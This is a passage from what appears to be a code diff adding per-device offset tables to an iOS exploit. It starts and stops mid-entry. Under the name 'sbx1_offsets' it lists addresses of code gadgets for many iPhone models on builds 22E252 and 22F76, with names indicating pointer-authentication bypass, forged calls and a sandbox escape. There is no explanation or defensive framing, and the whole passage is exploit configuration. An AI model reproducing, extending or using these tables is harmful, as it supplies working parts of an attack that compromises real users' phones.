_4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone16,1_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2625fc98cn, + fcall_14_args_write_x8: 0x24ce88f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone16,2_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x2625fc98cn, + fcall_14_args_write_x8: 0x24ce88f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,1_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261ee098cn, + fcall_14_args_write_x8: 0x24c76cf7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,2_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb112ecn, + tcall_X0LG: 0x21eda5f24n, + tcall_RLG: 0x20db52218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261ee098cn, + fcall_14_args_write_x8: 0x24c76cf7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aefd4n, + transformSurface_gadget: 0x20ff38970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,3_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261b3198cn, + fcall_14_args_write_x8: 0x24c768f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,4_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb0d2ecn, + tcall_X0LG: 0x21eda1f24n, + tcall_RLG: 0x20db4e218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x261b3198cn, + fcall_14_args_write_x8: 0x24c768f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7aafd4n, + transformSurface_gadget: 0x20ff34970n, + xpac_gadget: 0x1b63da15cn + }, + "iPhone17,5_22E252": { + malloc_restore_2_gadget: 0x1a96485d0n, + dyld_signPointer_gadget: 0x1a96401e0n, + malloc_restore_0_gadget: 0x18fd9628cn, + malloc_restore_1_gadget: 0x1ca49c5c8n, + malloc_restore_3_gadget: 0x190322cd4n, + self_loop: 0x1900e4d9cn, + tcall_CRLG: 0x23eb052ecn, + tcall_X0LG: 0x21ed99f24n, + tcall_RLG: 0x20db46218n, + tcall_CSSG: 0x1ad451bbcn, + tcall_DSSG: 0x1a9babc24n, + tcall_DG: 0x1dffe9ff4n, + _CFObjectCopyProperty: 0x18e5a94d8n, + load_x1x3x8: 0x26189b98cn, + fcall_14_args_write_x8: 0x24c760f7cn, + _4_fcalls: 0x1c620fbf8n, + jsvm_isNAN_fcall_gadget: 0x19e8cd95cn, + jsvm_isNAN_fcall_gadget2: 0x1803b2524n, + store_x0_x0: 0x19432c068n, + mov_x0_x22: 0x19412f870n, + str_x1_x2: 0x1e6668b50n, + add_x22_0x90: 0x23a7a2fd4n, + transformSurface_gadget: 0x20ff2c970n, + xpac_gadget: 0x1b63da15cn + } +}; + + Object.assign(sbx1_offsets, { + "iPhone11,2_4_6_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2f82ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2612ca98cn, + fcall_14_args_write_x8: 0x24cbe4054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af8a02cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, +"iPhone11,6_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2f82ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2612ca98cn, + fcall_14_args_write_x8: 0x24cbe4054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af8a02cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, + +"iPhone11,4_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2f82ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2612ca98cn, + fcall_14_args_write_x8: 0x24cbe4054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af8a02cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, + + "iPhone11,8_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2c42ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2612bd98cn, + fcall_14_args_write_x8: 0x24cbb0054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af5602cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone12,1_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2c42ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2613ab98cn, + fcall_14_args_write_x8: 0x24cbf8054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af5602cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone12,3_5_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2c42ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2613ab98cn, + fcall_14_args_write_x8: 0x24cbf8054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af5602cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, +"iPhone12,5_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f2c42ecn, + tcall_X0LG: 0x21f256150n, + tcall_RLG: 0x20dfb6178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2613ab98cn, + fcall_14_args_write_x8: 0x24cbf8054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23af5602cn, + transformSurface_gadget: 0x2103d4b70n, + xpac_gadget: 0x1b6838a08n + }, + + "iPhone12,8_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f1d42ecn, + tcall_X0LG: 0x21f24a150n, + tcall_RLG: 0x20dfaa178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2612e298cn, + fcall_14_args_write_x8: 0x24cb00054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ae6802cn, + transformSurface_gadget: 0x2103c8b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone13,1_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0fe2ecn, + tcall_X0LG: 0x21f26d150n, + tcall_RLG: 0x20dfba178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x26164e98cn, + fcall_14_args_write_x8: 0x24cdcf054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad9502cn, + transformSurface_gadget: 0x2103d8b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone13,2_3_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f1022ecn, + tcall_X0LG: 0x21f271150n, + tcall_RLG: 0x20dfbe178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24cdd3054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad9902cn, + transformSurface_gadget: 0x2103dcb70n, + xpac_gadget: 0x1b6838a08n + }, +"iPhone13,3_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f1022ecn, + tcall_X0LG: 0x21f271150n, + tcall_RLG: 0x20dfbe178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24cdd3054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad9902cn, + transformSurface_gadget: 0x2103dcb70n, + xpac_gadget: 0x1b6838a08n + }, + + "iPhone13,4_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f1022ecn, + tcall_X0LG: 0x21f271150n, + tcall_RLG: 0x20dfbe178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2619ec98cn, + fcall_14_args_write_x8: 0x24cdd3054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad9902cn, + transformSurface_gadget: 0x2103dcb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,2_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0ce2ecn, + tcall_X0LG: 0x21f275150n, + tcall_RLG: 0x20dfc2178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261db298cn, + fcall_14_args_write_x8: 0x24ce17054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad6502cn, + transformSurface_gadget: 0x2103e0b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,3_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0ce2ecn, + tcall_X0LG: 0x21f275150n, + tcall_RLG: 0x20dfc2178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261db298cn, + fcall_14_args_write_x8: 0x24ce17054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad6502cn, + transformSurface_gadget: 0x2103e0b70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,4_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0ca2ecn, + tcall_X0LG: 0x21f271150n, + tcall_RLG: 0x20dfbe178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261a1498cn, + fcall_14_args_write_x8: 0x24ce13054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad6102cn, + transformSurface_gadget: 0x2103dcb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,5_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0ca2ecn, + tcall_X0LG: 0x21f271150n, + tcall_RLG: 0x20dfbe178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261a1498cn, + fcall_14_args_write_x8: 0x24ce13054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad6102cn, + transformSurface_gadget: 0x2103dcb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,6_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0362ecn, + tcall_X0LG: 0x21f261150n, + tcall_RLG: 0x20dfae178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x2619af98cn, + fcall_14_args_write_x8: 0x24cd77054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23accd02cn, + transformSurface_gadget: 0x2103ccb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,7_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0da2ecn, + tcall_X0LG: 0x21f281150n, + tcall_RLG: 0x20dfce178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261dcc98cn, + fcall_14_args_write_x8: 0x24ce23054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad7102cn, + transformSurface_gadget: 0x2103ecb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone14,8_22F76": { + malloc_restore_2_gadget: 0x1a9a3b6c8n, + dyld_signPointer_gadget: 0x1a9a6d0a4n, + malloc_restore_0_gadget: 0x18fdaf28cn, + malloc_restore_1_gadget: 0x1caa9d5c8n, + malloc_restore_3_gadget: 0x19033cd18n, + self_loop: 0x1900efd38n, + tcall_CRLG: 0x23f0da2ecn, + tcall_X0LG: 0x21f281150n, + tcall_RLG: 0x20dfce178n, + tcall_CSSG: 0x1ad86ac3cn, + tcall_DSSG: 0x1a9fb7b10n, + tcall_DG: 0x1e06543f8n, + _CFObjectCopyProperty: 0x18e5b6554n, + load_x1x3x8: 0x261dcc98cn, + fcall_14_args_write_x8: 0x24ce23054n, + _4_fcalls: 0x1c6688bf8n, + jsvm_isNAN_fcall_gadget: 0x19ecaca60n, + jsvm_isNAN_fcall_gadget2: 0x1803ae9a0n, + store_x0_x0: 0x19434f3f4n, + mov_x0_x22: 0x19415286cn, + str_x1_x2: 0x1e6ce5b00n, + add_x22_0x90: 0x23ad7102cn, + transformSurface_gadget: 0x2103ecb70n, + xpac_gadget: 0x1b6838a08n + }, + "iPhone15,2_22F76": { + malloc_restore_2_gadget: 